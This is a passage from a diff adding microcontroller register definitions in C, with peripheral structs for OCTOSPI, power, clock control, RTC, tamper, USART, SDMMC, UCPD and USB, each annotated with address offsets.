0x010 */ + __IO uint32_t DCR4; /*!< OCTOSPI Device Configuration register 4, Address offset: 0x014 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t SR; /*!< OCTOSPI Status register, Address offset: 0x020 */ + __IO uint32_t FCR; /*!< OCTOSPI Flag Clear register, Address offset: 0x024 */ + uint32_t RESERVED2[6]; /*!< Reserved, Address offset: 0x028-0x03C */ + __IO uint32_t DLR; /*!< OCTOSPI Data Length register, Address offset: 0x040 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x044 */ + __IO uint32_t AR; /*!< OCTOSPI Address register, Address offset: 0x048 */ + uint32_t RESERVED4; /*!< Reserved, Address offset: 0x04C */ + __IO uint32_t DR; /*!< OCTOSPI Data register, Address offset: 0x050 */ + uint32_t RESERVED5[11]; /*!< Reserved, Address offset: 0x054-0x07C */ + __IO uint32_t PSMKR; /*!< OCTOSPI Polling Status Mask register, Address offset: 0x080 */ + uint32_t RESERVED6; /*!< Reserved, Address offset: 0x084 */ + __IO uint32_t PSMAR; /*!< OCTOSPI Polling Status Match register, Address offset: 0x088 */ + uint32_t RESERVED7; /*!< Reserved, Address offset: 0x08C */ + __IO uint32_t PIR; /*!< OCTOSPI Polling Interval register, Address offset: 0x090 */ + uint32_t RESERVED8[27]; /*!< Reserved, Address offset: 0x094-0x0FC */ + __IO uint32_t CCR; /*!< OCTOSPI Communication Configuration register, Address offset: 0x100 */ + uint32_t RESERVED9; /*!< Reserved, Address offset: 0x104 */ + __IO uint32_t TCR; /*!< OCTOSPI Timing Configuration register, Address offset: 0x108 */ + uint32_t RESERVED10; /*!< Reserved, Address offset: 0x10C */ + __IO uint32_t IR; /*!< OCTOSPI Instruction register, Address offset: 0x110 */ + uint32_t RESERVED11[3]; /*!< Reserved, Address offset: 0x114-0x11C */ + __IO uint32_t ABR; /*!< OCTOSPI Alternate Bytes register, Address offset: 0x120 */ + uint32_t RESERVED12[3]; /*!< Reserved, Address offset: 0x124-0x12C */ + __IO uint32_t LPTR; /*!< OCTOSPI Low Power Timeout register, Address offset: 0x130 */ + uint32_t RESERVED13[3]; /*!< Reserved, Address offset: 0x134-0x13C */ + __IO uint32_t WPCCR; /*!< OCTOSPI Wrap Communication Configuration register, Address offset: 0x140 */ + uint32_t RESERVED14; /*!< Reserved, Address offset: 0x144 */ + __IO uint32_t WPTCR; /*!< OCTOSPI Wrap Timing Configuration register, Address offset: 0x148 */ + uint32_t RESERVED15; /*!< Reserved, Address offset: 0x14C */ + __IO uint32_t WPIR; /*!< OCTOSPI Wrap Instruction register, Address offset: 0x150 */ + uint32_t RESERVED16[3]; /*!< Reserved, Address offset: 0x154-0x15C */ + __IO uint32_t WPABR; /*!< OCTOSPI Wrap Alternate Bytes register, Address offset: 0x160 */ + uint32_t RESERVED17[7]; /*!< Reserved, Address offset: 0x164-0x17C */ + __IO uint32_t WCCR; /*!< OCTOSPI Write Communication Configuration register, Address offset: 0x180 */ + uint32_t RESERVED18; /*!< Reserved, Address offset: 0x184 */ + __IO uint32_t WTCR; /*!< OCTOSPI Write Timing Configuration register, Address offset: 0x188 */ + uint32_t RESERVED19; /*!< Reserved, Address offset: 0x18C */ + __IO uint32_t WIR; /*!< OCTOSPI Write Instruction register, Address offset: 0x190 */ + uint32_t RESERVED20[3]; /*!< Reserved, Address offset: 0x194-0x19C */ + __IO uint32_t WABR; /*!< OCTOSPI Write Alternate Bytes register, Address offset: 0x1A0 */ + uint32_t RESERVED21[23]; /*!< Reserved, Address offset: 0x1A4-0x1FC */ + __IO uint32_t HLCR; /*!< OCTOSPI Hyperbus Latency Configuration register, Address offset: 0x200 */ +} XSPI_TypeDef; + +typedef XSPI_TypeDef OCTOSPI_TypeDef; + +/** + * @brief Power Control + */ +typedef struct +{ + __IO uint32_t PMCR; /*!< Power mode control register , Address offset: 0x00 */ + __IO uint32_t PMSR; /*!< Power mode status register , Address offset: 0x04 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x08-0x0C */ + __IO uint32_t VOSCR; /*!< Voltage scaling control register , Address offset: 0x10 */ + __IO uint32_t VOSSR; /*!< Voltage sacling status register , Address offset: 0x14 */ + uint32_t RESERVED2[2]; /*!< Reserved, Address offset: 0x18-0x1C */ + __IO uint32_t BDCR; /*!< BacKup domain control register , Address offset: 0x20 */ + __IO uint32_t DBPCR; /*!< DBP control register, Address offset: 0x24 */ + __IO uint32_t BDSR; /*!< BacKup domain status register, Address offset: 0x28 */ + __IO uint32_t UCPDR; /*!< Usb typeC and Power Delivery Register, Address offset: 0x2C */ + __IO uint32_t SCCR; /*!< Supply configuration control register, Address offset: 0x30 */ + __IO uint32_t VMCR; /*!< Voltage Monitor Control Register, Address offset: 0x34 */ + __IO uint32_t USBSCR; /*!< USB Supply Control Register Address offset: 0x38 */ + __IO uint32_t VMSR; /*!< Status Register Voltage Monitoring, Address offset: 0x3C */ + __IO uint32_t WUSCR; /*!< WakeUP status clear register, Address offset: 0x40 */ + __IO uint32_t WUSR; /*!< WakeUP status Register, Address offset: 0x44 */ + __IO uint32_t WUCR; /*!< WakeUP configuration register, Address offset: 0x48 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x4C */ + __IO uint32_t IORETR; /*!< IO RETention Register, Address offset: 0x50 */ + uint32_t RESERVED4[43];/*!< Reserved, Address offset: 0x54-0xFC */ + __IO uint32_t SECCFGR; /*!< Security configuration register, Address offset: 0x100 */ + __IO uint32_t PRIVCFGR; /*!< Privilege configuration register, Address offset: 0x104 */ +}PWR_TypeDef; + +/** + * @brief SRAMs configuration controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< Control Register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< Interrupt Enable Register, Address offset: 0x04 */ + __IO uint32_t ISR; /*!< Interrupt Status Register, Address offset: 0x08 */ + __IO uint32_t SEAR; /*!< ECC Single Error Address Register, Address offset: 0x0C */ + __IO uint32_t DEAR; /*!< ECC Double Error Address Register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< Interrupt Clear Register, Address offset: 0x14 */ + __IO uint32_t WPR1; /*!< SRAM Write Protection Register 1, Address offset: 0x18 */ + __IO uint32_t WPR2; /*!< SRAM Write Protection Register 2, Address offset: 0x1C */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t ECCKEY; /*!< SRAM ECC Key Register, Address offset: 0x24 */ + __IO uint32_t ERKEYR; /*!< SRAM Erase Key Register, Address offset: 0x28 */ +}RAMCFG_TypeDef; + +/** + * @brief Reset and Clock Control + */ +typedef struct +{ + __IO uint32_t CR; /*!< RCC clock control register Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved, Address offset: 0x04 */ + __IO uint32_t HSICFGR; /*!< RCC HSI Clock Calibration Register, Address offset: 0x10 */ + __IO uint32_t CRRCR; /*!< RCC Clock Recovery RC Register, Address offset: 0x14 */ + __IO uint32_t CSICFGR; /*!< RCC CSI Clock Calibration Register, Address offset: 0x18 */ + __IO uint32_t CFGR1; /*!< RCC clock configuration register 1 Address offset: 0x1C */ + __IO uint32_t CFGR2; /*!< RCC clock configuration register 2 Address offset: 0x20 */ + uint32_t RESERVED2; /*!< Reserved, Address offset: 0x24 */ + __IO uint32_t PLL1CFGR; /*!< RCC PLL1 Configuration Register Address offset: 0x28 */ + __IO uint32_t PLL2CFGR; /*!< RCC PLL2 Configuration Register Address offset: 0x2C */ + __IO uint32_t PLL3CFGR; /*!< RCC PLL3 Configuration Register Address offset: 0x30 */ + __IO uint32_t PLL1DIVR; /*!< RCC PLL1 Dividers Configuration Register Address offset: 0x34 */ + __IO uint32_t PLL1FRACR; /*!< RCC PLL1 Fractional Divider Configuration Register Address offset: 0x38 */ + __IO uint32_t PLL2DIVR; /*!< RCC PLL2 Dividers Configuration Register Address offset: 0x3C */ + __IO uint32_t PLL2FRACR; /*!< RCC PLL2 Fractional Divider Configuration Register Address offset: 0x40 */ + __IO uint32_t PLL3DIVR; /*!< RCC PLL3 Dividers Configuration Register Address offset: 0x44 */ + __IO uint32_t PLL3FRACR; /*!< RCC PLL3 Fractional Divider Configuration Register Address offset: 0x48 */ + uint32_t RESERVED5; /*!< Reserved Address offset: 0x4C */ + __IO uint32_t CIER; /*!< RCC Clock Interrupt Enable Register Address offset: 0x50 */ + __IO uint32_t CIFR; /*!< RCC Clock Interrupt Flag Register Address offset: 0x54 */ + __IO uint32_t CICR; /*!< RCC Clock Interrupt Clear Register Address offset: 0x58 */ + uint32_t RESERVED6; /*!< Reserved Address offset: 0x5C */ + __IO uint32_t AHB1RSTR; /*!< RCC AHB1 Peripherals Reset Register Address offset: 0x60 */ + __IO uint32_t AHB2RSTR; /*!< RCC AHB2 Peripherals Reset Register Address offset: 0x64 */ + uint32_t RESERVED7; /*!< Reserved Address offset: 0x68 */ + __IO uint32_t AHB4RSTR; /*!< RCC AHB4 Peripherals Reset Register Address offset: 0x6C */ + uint32_t RESERVED9; /*!< Reserved Address offset: 0x70 */ + __IO uint32_t APB1LRSTR; /*!< RCC APB1 Peripherals reset Low Word register Address offset: 0x74 */ + __IO uint32_t APB1HRSTR; /*!< RCC APB1 Peripherals reset High Word register Address offset: 0x78 */ + __IO uint32_t APB2RSTR; /*!< RCC APB2 Peripherals Reset Register Address offset: 0x7C */ + __IO uint32_t APB3RSTR; /*!< RCC APB3 Peripherals Reset Register Address offset: 0x80 */ + uint32_t RESERVED10; /*!< Reserved Address offset: 0x84 */ + __IO uint32_t AHB1ENR; /*!< RCC AHB1 Peripherals Clock Enable Register Address offset: 0x88 */ + __IO uint32_t AHB2ENR; /*!< RCC AHB2 Peripherals Clock Enable Register Address offset: 0x8C */ + uint32_t RESERVED11; /*!< Reserved Address offset: 0x90 */ + __IO uint32_t AHB4ENR; /*!< RCC AHB4 Peripherals Clock Enable Register Address offset: 0x94 */ + uint32_t RESERVED13; /*!< Reserved Address offset: 0x98 */ + __IO uint32_t APB1LENR; /*!< RCC APB1 Peripherals clock Enable Low Word register Address offset: 0x9C */ + __IO uint32_t APB1HENR; /*!< RCC APB1 Peripherals clock Enable High Word register Address offset: 0xA0 */ + __IO uint32_t APB2ENR; /*!< RCC APB2 Peripherals Clock Enable Register Address offset: 0xA4 */ + __IO uint32_t APB3ENR; /*!< RCC APB3 Peripherals Clock Enable Register Address offset: 0xA8 */ + uint32_t RESERVED14; /*!< Reserved Address offset: 0xAC */ + __IO uint32_t AHB1LPENR; /*!< RCC AHB1 Peripheral sleep clock Register Address offset: 0xB0 */ + __IO uint32_t AHB2LPENR; /*!< RCC AHB2 Peripheral sleep clock Register Address offset: 0xB4 */ + uint32_t RESERVED15; /*!< Reserved Address offset: 0xB8 */ + __IO uint32_t AHB4LPENR; /*!< RCC AHB4 Peripherals sleep clock Register Address offset: 0xBC */ + uint32_t RESERVED17; /*!< Reserved Address offset: 0xC0 */ + __IO uint32_t APB1LLPENR; /*!< RCC APB1 Peripherals sleep clock Low Word Register Address offset: 0xC4 */ + __IO uint32_t APB1HLPENR; /*!< RCC APB1 Peripherals sleep clock High Word Register Address offset: 0xC8 */ + __IO uint32_t APB2LPENR; /*!< RCC APB2 Peripherals sleep clock Register Address offset: 0xCC */ + __IO uint32_t APB3LPENR; /*!< RCC APB3 Peripherals Clock Low Power Enable Register Address offset: 0xD0 */ + uint32_t RESERVED18; /*!< Reserved Address offset: 0xD4 */ + __IO uint32_t CCIPR1; /*!< RCC IPs Clocks Configuration Register 1 Address offset: 0xD8 */ + __IO uint32_t CCIPR2; /*!< RCC IPs Clocks Configuration Register 2 Address offset: 0xDC */ + __IO uint32_t CCIPR3; /*!< RCC IPs Clocks Configuration Register 3 Address offset: 0xE0 */ + __IO uint32_t CCIPR4; /*!< RCC IPs Clocks Configuration Register 4 Address offset: 0xE4 */ + __IO uint32_t CCIPR5; /*!< RCC IPs Clocks Configuration Register 5 Address offset: 0xE8 */ + uint32_t RESERVED19; /*!< Reserved, Address offset: 0xEC */ + __IO uint32_t BDCR; /*!< RCC VSW Backup Domain & V33 Domain Control Register Address offset: 0xF0 */ + __IO uint32_t RSR; /*!< RCC Reset status Register Address offset: 0xF4 */ + uint32_t RESERVED20[6]; /*!< Reserved Address offset: 0xF8 */ + __IO uint32_t SECCFGR; /*!< RCC Secure mode configuration register Address offset: 0x110 */ + __IO uint32_t PRIVCFGR; /*!< RCC Privilege configuration register Address offset: 0x114 */ +} RCC_TypeDef; + +/** + * @brief PKA + */ +typedef struct +{ + __IO uint32_t CR; /*!< PKA control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< PKA status register, Address offset: 0x04 */ + __IO uint32_t CLRFR; /*!< PKA clear flag register, Address offset: 0x08 */ + uint32_t Reserved[253]; /*!< Reserved memory area Address offset: 0x0C -> 0x03FC */ + __IO uint32_t RAM[1334]; /*!< PKA RAM Address offset: 0x400 -> 0x18D4 */ +} PKA_TypeDef; + +/* +* @brief RTC Specific device feature definitions +*/ +#define RTC_BKP_NB 32U +#define RTC_TAMP_NB 8U + +/** + * @brief Real-Time Clock + */ +typedef struct +{ + __IO uint32_t TR; /*!< RTC time register, Address offset: 0x00 */ + __IO uint32_t DR; /*!< RTC date register, Address offset: 0x04 */ + __IO uint32_t SSR; /*!< RTC sub second register, Address offset: 0x08 */ + __IO uint32_t ICSR; /*!< RTC initialization control and status register, Address offset: 0x0C */ + __IO uint32_t PRER; /*!< RTC prescaler register, Address offset: 0x10 */ + __IO uint32_t WUTR; /*!< RTC wakeup timer register, Address offset: 0x14 */ + __IO uint32_t CR; /*!< RTC control register, Address offset: 0x18 */ + __IO uint32_t PRIVCFGR; /*!< RTC privilege mode control register, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< RTC secure mode control register, Address offset: 0x20 */ + __IO uint32_t WPR; /*!< RTC write protection register, Address offset: 0x24 */ + __IO uint32_t CALR; /*!< RTC calibration register, Address offset: 0x28 */ + __IO uint32_t SHIFTR; /*!< RTC shift control register, Address offset: 0x2C */ + __IO uint32_t TSTR; /*!< RTC time stamp time register, Address offset: 0x30 */ + __IO uint32_t TSDR; /*!< RTC time stamp date register, Address offset: 0x34 */ + __IO uint32_t TSSSR; /*!< RTC time-stamp sub second register, Address offset: 0x38 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x3C */ + __IO uint32_t ALRMAR; /*!< RTC alarm A register, Address offset: 0x40 */ + __IO uint32_t ALRMASSR; /*!< RTC alarm A sub second register, Address offset: 0x44 */ + __IO uint32_t ALRMBR; /*!< RTC alarm B register, Address offset: 0x48 */ + __IO uint32_t ALRMBSSR; /*!< RTC alarm B sub second register, Address offset: 0x4C */ + __IO uint32_t SR; /*!< RTC Status register, Address offset: 0x50 */ + __IO uint32_t MISR; /*!< RTC masked interrupt status register, Address offset: 0x54 */ + __IO uint32_t SMISR; /*!< RTC secure masked interrupt status register, Address offset: 0x58 */ + __IO uint32_t SCR; /*!< RTC status Clear register, Address offset: 0x5C */ + __IO uint32_t OR; /*!< RTC option register, Address offset: 0x60 */ + uint32_t RESERVED1[3];/*!< Reserved, Address offset: 0x64 */ + __IO uint32_t ALRABINR; /*!< RTC alarm A binary mode register, Address offset: 0x70 */ + __IO uint32_t ALRBBINR; /*!< RTC alarm B binary mode register, Address offset: 0x74 */ +} RTC_TypeDef; + +/** + * @brief Tamper and backup registers + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TAMP control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TAMP control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< TAMP control register 3, Address offset: 0x08 */ + __IO uint32_t FLTCR; /*!< TAMP filter control register, Address offset: 0x0C */ + __IO uint32_t ATCR1; /*!< TAMP filter control register 1 Address offset: 0x10 */ + __IO uint32_t ATSEEDR; /*!< TAMP active tamper seed register, Address offset: 0x14 */ + __IO uint32_t ATOR; /*!< TAMP active tamper output register, Address offset: 0x18 */ + __IO uint32_t ATCR2; /*!< TAMP filter control register 2, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< TAMP secure mode control register, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR; /*!< TAMP privilege mode control register, Address offset: 0x24 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x28 */ + __IO uint32_t IER; /*!< TAMP interrupt enable register, Address offset: 0x2C */ + __IO uint32_t SR; /*!< TAMP status register, Address offset: 0x30 */ + __IO uint32_t MISR; /*!< TAMP masked interrupt status register, Address offset: 0x34 */ + __IO uint32_t SMISR; /*!< TAMP secure masked interrupt status register, Address offset: 0x38 */ + __IO uint32_t SCR; /*!< TAMP status clear register, Address offset: 0x3C */ + __IO uint32_t COUNT1R; /*!< TAMP monotonic counter register, Address offset: 0x40 */ + uint32_t RESERVED1[3];/*!< Reserved, Address offset: 0x44 -- 0x4C */ + __IO uint32_t OR; /*!< TAMP option register, Address offset: 0x50 */ + __IO uint32_t ERCFGR; /*!< TAMP erase configuration register, Address offset: 0x54 */ + uint32_t RESERVED2[42];/*!< Reserved, Address offset: 0x58 -- 0xFC */ + __IO uint32_t BKP0R; /*!< TAMP backup register 0, Address offset: 0x100 */ + __IO uint32_t BKP1R; /*!< TAMP backup register 1, Address offset: 0x104 */ + __IO uint32_t BKP2R; /*!< TAMP backup register 2, Address offset: 0x108 */ + __IO uint32_t BKP3R; /*!< TAMP backup register 3, Address offset: 0x10C */ + __IO uint32_t BKP4R; /*!< TAMP backup register 4, Address offset: 0x110 */ + __IO uint32_t BKP5R; /*!< TAMP backup register 5, Address offset: 0x114 */ + __IO uint32_t BKP6R; /*!< TAMP backup register 6, Address offset: 0x118 */ + __IO uint32_t BKP7R; /*!< TAMP backup register 7, Address offset: 0x11C */ + __IO uint32_t BKP8R; /*!< TAMP backup register 8, Address offset: 0x120 */ + __IO uint32_t BKP9R; /*!< TAMP backup register 9, Address offset: 0x124 */ + __IO uint32_t BKP10R; /*!< TAMP backup register 10, Address offset: 0x128 */ + __IO uint32_t BKP11R; /*!< TAMP backup register 11, Address offset: 0x12C */ + __IO uint32_t BKP12R; /*!< TAMP backup register 12, Address offset: 0x130 */ + __IO uint32_t BKP13R; /*!< TAMP backup register 13, Address offset: 0x134 */ + __IO uint32_t BKP14R; /*!< TAMP backup register 14, Address offset: 0x138 */ + __IO uint32_t BKP15R; /*!< TAMP backup register 15, Address offset: 0x13C */ + __IO uint32_t BKP16R; /*!< TAMP backup register 16, Address offset: 0x140 */ + __IO uint32_t BKP17R; /*!< TAMP backup register 17, Address offset: 0x144 */ + __IO uint32_t BKP18R; /*!< TAMP backup register 18, Address offset: 0x148 */ + __IO uint32_t BKP19R; /*!< TAMP backup register 19, Address offset: 0x14C */ + __IO uint32_t BKP20R; /*!< TAMP backup register 20, Address offset: 0x150 */ + __IO uint32_t BKP21R; /*!< TAMP backup register 21, Address offset: 0x154 */ + __IO uint32_t BKP22R; /*!< TAMP backup register 22, Address offset: 0x158 */ + __IO uint32_t BKP23R; /*!< TAMP backup register 23, Address offset: 0x15C */ + __IO uint32_t BKP24R; /*!< TAMP backup register 24, Address offset: 0x160 */ + __IO uint32_t BKP25R; /*!< TAMP backup register 25, Address offset: 0x164 */ + __IO uint32_t BKP26R; /*!< TAMP backup register 26, Address offset: 0x168 */ + __IO uint32_t BKP27R; /*!< TAMP backup register 27, Address offset: 0x16C */ + __IO uint32_t BKP28R; /*!< TAMP backup register 28, Address offset: 0x170 */ + __IO uint32_t BKP29R; /*!< TAMP backup register 29, Address offset: 0x174 */ + __IO uint32_t BKP30R; /*!< TAMP backup register 30, Address offset: 0x178 */ + __IO uint32_t BKP31R; /*!< TAMP backup register 31, Address offset: 0x17C */ +} TAMP_TypeDef; + +/** + * @brief Universal Synchronous Asynchronous Receiver Transmitter + */ +typedef struct +{ + __IO uint32_t CR1; /*!< USART Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< USART Control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< USART Control register 3, Address offset: 0x08 */ + __IO uint32_t BRR; /*!< USART Baud rate register, Address offset: 0x0C */ + __IO uint32_t GTPR; /*!< USART Guard time and prescaler register, Address offset: 0x10 */ + __IO uint32_t RTOR; /*!< USART Receiver Time Out register, Address offset: 0x14 */ + __IO uint32_t RQR; /*!< USART Request register, Address offset: 0x18 */ + __IO uint32_t ISR; /*!< USART Interrupt and status register, Address offset: 0x1C */ + __IO uint32_t ICR; /*!< USART Interrupt flag Clear register, Address offset: 0x20 */ + __IO uint32_t RDR; /*!< USART Receive Data register, Address offset: 0x24 */ + __IO uint32_t TDR; /*!< USART Transmit Data register, Address offset: 0x28 */ + __IO uint32_t PRESC; /*!< USART Prescaler register, Address offset: 0x2C */ +} USART_TypeDef; + +/** + * @brief Serial Audio Interface + */ +typedef struct +{ + __IO uint32_t GCR; /*!< SAI global configuration register, Address offset: 0x00 */ + uint32_t RESERVED[16]; /*!< Reserved, Address offset: 0x04 to 0x40 */ + __IO uint32_t PDMCR; /*!< SAI PDM control register, Address offset: 0x44 */ + __IO uint32_t PDMDLY; /*!< SAI PDM delay register, Address offset: 0x48 */ +} SAI_TypeDef; + +typedef struct +{ + __IO uint32_t CR1; /*!< SAI block x configuration register 1, Address offset: 0x04 */ + __IO uint32_t CR2; /*!< SAI block x configuration register 2, Address offset: 0x08 */ + __IO uint32_t FRCR; /*!< SAI block x frame configuration register, Address offset: 0x0C */ + __IO uint32_t SLOTR; /*!< SAI block x slot register, Address offset: 0x10 */ + __IO uint32_t IMR; /*!< SAI block x interrupt mask register, Address offset: 0x14 */ + __IO uint32_t SR; /*!< SAI block x status register, Address offset: 0x18 */ + __IO uint32_t CLRFR; /*!< SAI block x clear flag register, Address offset: 0x1C */ + __IO uint32_t DR; /*!< SAI block x data register, Address offset: 0x20 */ +} SAI_Block_TypeDef; +/** + * @brief System configuration, Boot and Security + */ +typedef struct +{ + uint32_t RESERVED1[4]; /*!< RESERVED1, Address offset: 0x00 - 0x0C */ + __IO uint32_t HDPLCR; /*!< SBS HDPL Control Register, Address offset: 0x10 */ + __IO uint32_t HDPLSR; /*!< SBS HDPL Status Register, Address offset: 0x14 */ + __IO uint32_t NEXTHDPLCR; /*!< NEXT HDPL Control Register, Address offset: 0x18 */ + __IO uint32_t RESERVED2; /*!< RESERVED2, Address offset: 0x1C */ + __IO uint32_t DBGCR; /*!< SBS Debug Control Register, Address offset: 0x20 */ + __IO uint32_t DBGLOCKR; /*!< SBS Debug Lock Register, Address offset: 0x24 */ + uint32_t RESERVED3[3]; /*!< RESERVED3, Address offset: 0x28 - 0x30 */ + __IO uint32_t RSSCMDR; /*!< SBS RSS Command Register, Address offset: 0x34 */ + uint32_t RESERVED4[26]; /*!< RESERVED4, Address offset: 0x38 - 0x9C */ + __IO uint32_t EPOCHSELCR; /*!< EPOCH Selection Register, Address offset: 0xA0 */ + uint32_t RESERVED5[7]; /*!< RESERVED5, Address offset: 0xA4 - 0xBC */ + __IO uint32_t SECCFGR; /*!< SBS Security Mode Configuration, Address offset: 0xC0 */ + uint32_t RESERVED6[15]; /*!< RESERVED6, Address offset: 0xC4 - 0xFC */ + __IO uint32_t PMCR; /*!< SBS Product Mode & Config Register, Address offset: 0x100 */ + __IO uint32_t FPUIMR; /*!< SBS FPU Interrupt Mask Register, Address offset: 0x104 */ + __IO uint32_t MESR; /*!< SBS Memory Erase Status Register, Address offset: 0x108 */ + uint32_t RESERVED7; /*!< RESERVED7, Address offset: 0x10C */ + __IO uint32_t CCCSR; /*!< SBS Compensation Cell Control & Status Register, Address offset: 0x110 */ + __IO uint32_t CCVALR; /*!< SBS Compensation Cell Value Register, Address offset: 0x114 */ + __IO uint32_t CCSWCR; /*!< SBS Compensation Cell for I/Os sw code Register, Address offset: 0x118 */ + __IO uint32_t RESERVED8; /*!< RESERVED8, Address offset: 0x11C */ + __IO uint32_t CFGR2; /*!< SBS Class B Register, Address offset: 0x120 */ + uint32_t RESERVED9[8]; /*!< RESERVED9, Address offset: 0x124 - 0x140 */ + __IO uint32_t CNSLCKR; /*!< SBS CPU Non-secure Lock Register, Address offset: 0x144 */ + __IO uint32_t CSLCKR; /*!< SBS CPU Secure Lock Register, Address offset: 0x148 */ + __IO uint32_t ECCNMIR; /*!< SBS FLITF ECC NMI MASK Register, Address offset: 0x14C */ +} SBS_TypeDef; + +/** + * @brief Secure digital input/output Interface + */ +typedef struct +{ + __IO uint32_t POWER; /*!< SDMMC power control register, Address offset: 0x00 */ + __IO uint32_t CLKCR; /*!< SDMMC clock control register, Address offset: 0x04 */ + __IO uint32_t ARG; /*!< SDMMC argument register, Address offset: 0x08 */ + __IO uint32_t CMD; /*!< SDMMC command register, Address offset: 0x0C */ + __I uint32_t RESPCMD; /*!< SDMMC command response register, Address offset: 0x10 */ + __I uint32_t RESP1; /*!< SDMMC response 1 register, Address offset: 0x14 */ + __I uint32_t RESP2; /*!< SDMMC response 2 register, Address offset: 0x18 */ + __I uint32_t RESP3; /*!< SDMMC response 3 register, Address offset: 0x1C */ + __I uint32_t RESP4; /*!< SDMMC response 4 register, Address offset: 0x20 */ + __IO uint32_t DTIMER; /*!< SDMMC data timer register, Address offset: 0x24 */ + __IO uint32_t DLEN; /*!< SDMMC data length register, Address offset: 0x28 */ + __IO uint32_t DCTRL; /*!< SDMMC data control register, Address offset: 0x2C */ + __I uint32_t DCOUNT; /*!< SDMMC data counter register, Address offset: 0x30 */ + __I uint32_t STA; /*!< SDMMC status register, Address offset: 0x34 */ + __IO uint32_t ICR; /*!< SDMMC interrupt clear register, Address offset: 0x38 */ + __IO uint32_t MASK; /*!< SDMMC mask register, Address offset: 0x3C */ + __IO uint32_t ACKTIME; /*!< SDMMC Acknowledgement timer register, Address offset: 0x40 */ + uint32_t RESERVED0[3]; /*!< Reserved, 0x44 - 0x4C - 0x4C */ + __IO uint32_t IDMACTRL; /*!< SDMMC DMA control register, Address offset: 0x50 */ + __IO uint32_t IDMABSIZE; /*!< SDMMC DMA buffer size register, Address offset: 0x54 */ + __IO uint32_t IDMABASER; /*!< SDMMC DMA buffer base address register, Address offset: 0x58 */ + uint32_t RESERVED1[2]; /*!< Reserved, 0x60 */ + __IO uint32_t IDMALAR; /*!< SDMMC DMA linked list address register, Address offset: 0x64 */ + __IO uint32_t IDMABAR; /*!< SDMMC DMA linked list memory base register,Address offset: 0x68 */ + uint32_t RESERVED2[5]; /*!< Reserved, 0x6C-0x7C */ + __IO uint32_t FIFO; /*!< SDMMC data FIFO register, Address offset: 0x80 */ +} SDMMC_TypeDef; + + + +/** + * @brief Delay Block DLYB + */ + +typedef struct +{ + __IO uint32_t CR; /*!< DELAY BLOCK control register, Address offset: 0x00 */ + __IO uint32_t CFGR; /*!< DELAY BLOCK configuration register, Address offset: 0x04 */ +} DLYB_TypeDef; + +/** + * @brief UCPD + */ +typedef struct +{ + __IO uint32_t CFG1; /*!< UCPD configuration register 1, Address offset: 0x00 */ + __IO uint32_t CFG2; /*!< UCPD configuration register 2, Address offset: 0x04 */ + __IO uint32_t CFG3; /*!< UCPD configuration register 3, Address offset: 0x08 */ + __IO uint32_t CR; /*!< UCPD control register, Address offset: 0x0C */ + __IO uint32_t IMR; /*!< UCPD interrupt mask register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< UCPD status register, Address offset: 0x14 */ + __IO uint32_t ICR; /*!< UCPD interrupt flag clear register Address offset: 0x18 */ + __IO uint32_t TX_ORDSET; /*!< UCPD Tx ordered set type register, Address offset: 0x1C */ + __IO uint32_t TX_PAYSZ; /*!< UCPD Tx payload size register, Address offset: 0x20 */ + __IO uint32_t TXDR; /*!< UCPD Tx data register, Address offset: 0x24 */ + __IO uint32_t RX_ORDSET; /*!< UCPD Rx ordered set type register, Address offset: 0x28 */ + __IO uint32_t RX_PAYSZ; /*!< UCPD Rx payload size register, Address offset: 0x2C */ + __IO uint32_t RXDR; /*!< UCPD Rx data register, Address offset: 0x30 */ + __IO uint32_t RX_ORDEXT1; /*!< UCPD Rx ordered set extension 1 register, Address offset: 0x34 */ + __IO uint32_t RX_ORDEXT2; /*!< UCPD Rx ordered set extension 2 register, Address offset: 0x38 */ + uint32_t RESERVED[949];/*!< Reserved, Address offset: 0x3C -- 0x3F0 */ + __IO uint32_t IPVER; /*!< UCPD IP version register, Address offset: 0x3F4 */ + __IO uint32_t IPID; /*!< UCPD IP Identification register, Address offset: 0x3F8 */ + __IO uint32_t MID; /*!< UCPD Magic Identification register, Address offset: 0x3FC */ +} UCPD_TypeDef; + +/** + * @brief Universal Serial Bus Full Speed Dual Role Device + */ +typedef struct +{ + __IO uint32_t CHEP0R; /*!< USB Channel/Endpoint 0 register, Address offset: 0x00 */ + __IO uint32_t CHEP1R; /*!< USB Channel/Endpoint 1 register, Address offset: 0x04 */ + __IO uint32_t CHEP2R; /*!< USB Channel/Endpoint 2 register, Address offset: 0x08 */ + __IO uint32_t CHEP3R; /*!< USB Channel/Endpoint 3 register, Address offset: 0x0C */ + __IO uint32_t CHEP4R; /*!< USB Channel/Endpoint 4 register, Address offset: 0x10 */ + __IO uint32_t CHEP5R; /*!< USB Channel/Endpoint 5 register, Address offset: 0x14 */ + __IO uint32_t CHEP6R; /*!< USB Channel/Endpoint 6 register, Address offset: 0x18 */ + __IO uint32_t CHEP7R; /*!< USB Channel/Endpoint 7 register, Address offset: 0x1C */ + __IO uint32_t RESERVED0[8]; /*!< Reserved, */ + __IO uint32_t CNTR; /*!< Control register, Address offset: 0x40 */ + __IO uint32_t ISTR; /*!< Interrupt status register, Address offset: 0x44 */ + __IO uint32_t FNR; /*!< Frame number register, Address offset: 0x48 */ + __IO uint32_t DADDR; /*!< Device address register, Address offset: 0x4C */ + __IO uint32_t RESERVED1; /*!< 